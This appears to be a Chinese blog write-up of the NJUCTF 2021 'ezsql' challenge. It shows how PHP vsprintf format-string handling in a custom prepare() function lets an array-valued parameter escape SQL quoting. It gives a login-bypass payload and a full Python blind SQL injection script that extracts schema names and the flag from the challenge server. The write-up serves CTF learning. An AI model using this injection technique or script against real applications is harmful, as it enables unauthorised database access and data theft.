【网络安全】php vsprintf格式化字符串逃逸sql语句引号(njuctf2021 ezsql wp)

登陆界面。访问129.211.173.64:3080/www.zip 可以得到源码

config.php(这是用来连数据库的,没啥用,就不贴了)

login.php

<?php
include_once('config.php');
?>
<!DOCTYPE html>
<html><head><title>There is no absolutely safe system</title></head><body>
<?php
if (isset($_POST['password'])){$query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']);if (isset($_POST['name'])){$query = db::prepare($query . " and name=%s", $_POST['name']);}else{$query = $query . " and name='benjaminEngel'";}$query = $query . " limit 1";$result = db::commit($query);if ($result->num_rows > 0){die('NCTF{ez');}else{die('Wrong name or password.');}
}
else{?><form action="login.php" method="post"><input name="name" id="name" placeholder="benjaminEngel" value=bejaminEngel disabled><input type="password" name="password" id="password" placeholder="Enter password"><button type="submit">Submit</button></form>
<?php 
}
?></body>
</html> 

DB.php

<?php

class DB{private static $db = null;public function __construct($db_host, $db_user, $db_pass, $db_database){static::$db = new mysqli($db_host, $db_user, $db_pass, $db_database);}static public function buildMySQL($db_host, $db_user, $db_pass, $db_database) {return new DB($db_host, $db_user, $db_pass, $db_database);}public static function getInstance(){return static::$db;}public static function connect_error(){return static::$db->connect_errno;}public static function prepare($query, $args){if (is_null($query)){return;}if (strpos($query, '%') === false){die('%s not included in query!');return;}// get args$args = func_get_args();array_shift( $args );$args_is_array = false;if (is_array($args[0]) && count($args) == 1 ) {$args = $args[0];$args_is_array = true;}$count_format = substr_count($query, '%s');if($count_format !== count($args)){die('Wrong number of arguments!');return;}// escapeforeach ($args as &$value){$value = static::$db->real_escape_string($value);}// prepare$query = str_replace("%s", "'%s'", $query);$query = vsprintf($query, $args);return $query;}public static function commit($query){$res = static::$db->query($query);if($res !== false){ return $res;}else{die('Error in query.');}}
}
?> 

审计代码的逻辑,进行了两次格式化字符串,密码还用md5()包裹,而且每次都用单引号把%s闭合了,并且在替换%s前还用了real_escape_string($value)进行转义。(盯着这几个安全函数几个小时差点哭了555)

好吧好吧,还是有注入点的。这里用到了vsprint语句。在w3school可以查到它的例子

<?php
$number = 9;
$str = "Beijing";
$txt = vsprintf("There are %u million bicycles in %s.",array($number,$str));
echo $txt;
?> 

也就是说,可以post数组来逃逸引号。先来看看正常的sql查询语句

SELECT * FROM `users` where password=md5(%s) and name=%s limit 1

其中两个%s就是post的账号和密码。

如果我们密码输入%s,name输入一个数组,第一个元素用来闭合md5并且注入再注释,第二个元素随便输,就能绕过了!

可以构造payload如下

name[0]=) or [bool] #&name[1]=a&password=%s 其中[bool]用来塞布尔值。

sql语句就会变为

SELECT * FROM `users` where password=md5() or [bool] #) and name=a limit 1

试一下postname[0]=) or 1=1 #&name[1]=a&password=%s

还有一半flag在数据库里边。用二分脚本跑盲注即可。这里有个坑,最后查details的时候表名要写成 `2021`.NcTF 其他任何形式都不行。脚本如下(当然不是我这个菜鸡写的啦)

import requests
#NCTF{3v3ryth1ng_not_fantast1c_:)}
#uname:admin
Ts = "NCTF{3v3ryth1ng_"
Fs = "Wrong"
url = "http://129.211.173.64:3080/login.php"
def SQL_injection(url) :res = ""for i in range(1,2000) :left = 32right = 128mid = (left + right) // 2while (left < right) :payload_database = ")or(ord(substr((select(database())),%d,1))>%d)#" % (i, mid)payload_all_database = ")or((ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1)))>%d)#" % (i, mid)payload_table = ")or((ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1)))>%d)#" % (i, mid)#4E635446NcTFpayload_cloumn = ")or((ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x4E635446)),%d,1)))>%d)#" % (i, mid)payload_info = ")or((ord(substr((select `fl@g` from `2021`.NcTF limit 0,1),%d,1)))>%d)#" % (i, mid)#2021.NcTF fl@gpayload = payload_infodata = {"name[0]" : payload, "name[1]" : "SilentE", "password" : "12%s34"}#urls = url + payloadresp = requests.post(url = url, data = data)#print(resp.text)if Ts in resp.text :left = mid + 1else :right = midmid = (left + right) // 2if (mid == 32) :breakres += chr(mid)print(res)print(res)

if __name__ == "__main__" :SQL_injection(url) 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值